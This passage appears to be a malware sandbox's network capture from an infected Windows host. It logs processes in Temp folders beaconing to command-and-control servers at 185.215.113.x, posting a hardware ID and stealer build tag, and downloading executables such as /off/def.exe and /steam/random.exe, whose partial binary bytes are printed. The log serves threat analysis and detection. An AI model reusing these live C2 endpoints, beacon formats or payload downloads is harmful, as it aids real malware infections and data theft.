Nov 18, 2024 04:42:42.327771902 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 36 44 35 41 44 31 38 34 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="hwid"C26D5AD184AA1106654546------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="build"mars------ECAKKKKJDBKKFIEBKEHD--
Nov 18, 2024 04:42:42.606421947 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:42:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	64748	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:41.906698942 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:42:42.809333086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	64751	34.107.221.82	80	2800	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:42.597438097 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 04:42:43.200695038 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 48703 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 04:42:53.215590000 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	64752	185.215.113.16	80	8376	C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:42.980230093 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 04:42:43.899722099 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:43 GMT Content-Type: application/octet-stream Content-Length: 2800128 Last-Modified: Mon, 18 Nov 2024 03:26:33 GMT Connection: keep-alive ETag: "673ab3e9-2aba00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 ef 1a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@hinbqzan`X:@bfucfdhf +@.taggant@ +"@
Nov 18, 2024 04:42:43.899753094 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:43.899764061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:43.899787903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:43.899799109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:43.899811029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:43.899822950 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:43.899871111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:43.899883032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: :hW3H4`5.:&GQ9F;d<;b^pp1J4X:l8:?76xjk6mKe3h=UCl;pZ%*=\ox]eE;
Nov 18, 2024 04:42:43.899895906 CET	1236	IN	Data Raw: 9f 0d 3f fe 2e 79 f1 06 1f 94 52 0f da fa 94 e6 dd 41 30 36 e6 44 da 1c ef 59 0e 5c ec 6b e8 10 eb 96 34 97 04 9c 37 08 4c 64 80 c8 15 55 d7 ba 73 13 37 96 13 35 34 04 3c 5c 0d bf 69 2c c1 9e 01 4f fd 1c e3 37 b0 b4 ad 98 3c 6c f4 a6 4a d3 9d f1 Data Ascii: ?.yRA06DY\k47LdUs754<\i,O7<lJjV@79'xOM{6*=XyxJ<s_G~kWu_'79rkl-dv"dtn2CH6N{\|7p34w9^v0Mlc+W0c&+O
Nov 18, 2024 04:42:43.904798985 CET	1236	IN	Data Raw: b3 5b a5 60 4e f4 d4 b6 01 6a db 2d 60 c1 a2 b0 ed e2 04 c6 32 1c dd 25 29 19 6f 94 cc 0c ca d2 3c 95 d0 e9 e0 5d 5a f3 af 64 7a c7 55 05 ad 0b f7 ec fc 81 53 e6 6a f4 e9 ec d4 11 6b ae f1 c8 f7 22 cc bf e7 0d 90 1e b8 8b 5e b3 9d 19 3c 1e 5f 8e Data Ascii: [`Nj-`2%)o<]ZdzUSjk"^<_]`'b:+FpY%.sc$0JRmb(@7-#/#v K!5"lNr'p3~v]_(GKB1Hifp4(G\{PN+IG9,q4z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	64754	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:44.496149063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:42:45.405277967 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	64756	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:46.922571898 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:42:47.884080887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	64758	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:49.520976067 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:42:50.433479071 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	64760	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:52.487644911 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:42:53.404083967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	64762	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:55.101970911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:42:56.004069090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	64763	185.215.113.16	80	7820	C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:55.954401970 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	64764	185.215.113.16	80	7820	C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:56.195229053 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 04:42:57.105197906 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:56 GMT Content-Type: application/octet-stream Content-Length: 1828352 Last-Modified: Mon, 18 Nov 2024 03:27:57 GMT Connection: keep-alive ETag: "673ab43d-1be600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 60 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 6a 00 00 04 00 00 1e 5c [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"`j@j\@M$a$$ $b@.rsrc$r@.idata $t@ @+$v@owiwlckrPPFx@gktksaukPj@.taggant0`j"@
Nov 18, 2024 04:42:57.105273008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:57.105310917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:57.105343103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:42:57.105377913 CET	848	IN	Data Raw: 03 d5 03 36 d5 ba 58 b3 0d 66 8c b8 98 3d 71 bd 02 44 8a 10 55 9f 2f 53 f5 3e cd 11 31 d5 5f a9 65 b5 ae b1 8f 9a bc 12 d0 54 4d 66 00 41 97 49 ad eb 8f c1 f5 42 33 8b ee 35 89 0d a0 45 a3 82 6d 88 2b 72 85 ac c7 0c db d2 94 10 77 6b 7f 28 ed 2d Data Ascii: 6Xf=qDU/S>1_eTMfAIB35Em+rwk(-&bu-so="{C}mvC",F:}ep;(xkn"2KZ9\|.Hk+Zoh/hu=qzq\|p?h1z(%}7q'iseKc--XuL%'fi_
Nov 18, 2024 04:42:57.105412960 CET	1236	IN	Data Raw: a5 05 ac 0c ea e3 be 31 43 c2 4f d2 f4 fd 34 2f 7e 41 ff d3 b1 44 c6 38 69 92 ea 48 05 11 53 26 70 2f 06 2f b9 44 7b f0 0a d5 36 b2 08 2f 8e 76 26 3a 63 1c 44 70 d8 b3 fb 14 8e 43 08 f6 4a 70 04 70 db f4 ee 19 c4 9c 1f ee 6a 34 51 36 45 6a b5 0a Data Ascii: 1CO4/~AD8iHS&p//D{6/v&:cDpCJppj4Q6EjH2<\/f!@N$("<zZ41//h.z3FC"G1Xujz3OKh0ka.\ v^o(w
Nov 18, 2024 04:42:57.105448961 CET	1236	IN	Data Raw: 6f 9e 72 f1 62 f5 0a 88 0f f9 26 92 09 f1 37 90 e1 f9 fd 2f 59 15 80 0d 8c 42 42 a2 2e f9 21 27 20 68 c1 ce 29 1f 72 f0 5a be 70 90 ef 5e 45 f0 63 6e 77 22 ad 11 7f 59 33 79 5c 77 52 6f ff 47 32 0f b1 9c 0f f0 06 0a 1c 91 a6 94 0f f0 e0 10 25 59 Data Ascii: orb&7/YBB.!' h)rZp^Ecnw"Y3y\wRoG2%Yl%Xf!RzePVv-=qUrrWvQA!b*Buz<cn4IG"u4AQh-060a<gE5b'y-3Re=iC{=8p TxbC[
Nov 18, 2024 04:42:57.105484962 CET	424	IN	Data Raw: cc 36 4d e1 0d 00 43 cc 31 29 c0 68 b6 36 45 23 c1 03 58 50 f5 39 c1 b1 a0 3f 45 71 9b bf bb 39 41 0e 53 ad ff 87 63 03 4e 8e 4d 90 f5 79 d8 65 71 f6 56 26 6d 8e 4d ac f5 75 24 33 5b ff 3b 18 86 f5 4c c8 2f 15 c5 45 45 4f be d8 fe b1 3f 6c 8e 19 Data Ascii: 6MC1)h6E#XP9?Eq9AScNMyeqV&mMu$3[;L/EEO?ly)YwA~(;Khqa^@BIxy@/A6^RHe39A(2yD)=Mt1q1'K1qnI/k1/yj~w(9qy!M0CMAY+Y?mGqj2{
Nov 18, 2024 04:42:57.105521917 CET	1236	IN	Data Raw: 61 f5 8e bf 36 f2 94 d8 f5 03 ff 64 c1 0f c0 48 74 31 46 a4 40 f5 4f 08 30 89 c0 44 5d 43 81 58 e5 03 3f 30 12 75 73 ac 7d 47 cb fa fe 15 5c 48 29 03 59 4c 7b 2f 7b 6c 2d 15 87 36 2f 49 48 64 78 18 65 bd 25 bd 4d a0 71 3d 5b 4c 05 77 bb d5 78 06 Data Ascii: a6dHt1F@O0D]CX?0us}G\H)YL{/{l-6/IHdxe%Mq=[Lwx/IK]J>y4}t 5~@pBwy-t?d"2zIrQ(Ll/DStGuQ{o@qBMq=t1yK^u'cY8xEVHG!MBzVH6/M_t^?Wb]Mbqwb/Z%MbGbJ>y9f
Nov 18, 2024 04:42:57.105556965 CET	1236	IN	Data Raw: 57 12 d7 78 03 30 cf 42 75 2f 84 54 fb 67 3f 36 bd 3c 9f aa 7d 24 cd 2a c2 cd 4d 30 e1 77 5f 91 02 0e 00 a5 f5 22 85 38 9e 15 df 62 19 f8 42 4a 46 22 40 22 06 25 b9 91 df f8 5b 38 fd b9 4d 41 41 25 59 ad 2f c9 8f 42 15 5d 4d 62 75 15 1f 7c 19 b3 Data Ascii: Wx0Bu/Tg?6<}$M0w_"8bBJF"@"%[8MAA%Y/B]Mbu\|BR?6/\Q6=x^"[y1q3A%YV/-X@Y(#>S6{Iu{bu[_2`te6uIaay6RuAtpHO?_AOyvib{ARV6N&}MB$Y
Nov 18, 2024 04:42:57.110532999 CET	1236	IN	Data Raw: 37 f0 a8 66 41 71 4b 84 32 90 67 25 1c e8 39 ac 01 61 d8 36 6d f5 be 64 77 d2 bb 30 f4 55 c3 a8 81 2f 0f a9 11 bc 59 34 75 cf 4d 30 a1 71 3b ac 35 a6 83 f8 b9 71 8c f8 19 f4 4c 88 35 b6 c7 65 7d 03 5f f4 2f 32 c4 56 17 15 33 3a 0f f1 7c 16 77 76 Data Ascii: 7fAqK2g%9a6mdw0U/Y4uM0q;5qL5e}_/2V3:\|wv53Cf6E2[b%Hh4Hd=Guq?62(/?6/38k:?wv$"h\|"+M/I}e@8-/4t2Y6Z(ynw(1w=99abb2SHFg96zv=?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	64765	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:42:57.677391052 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:42:58.463558912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	64772	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:00.216784954 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
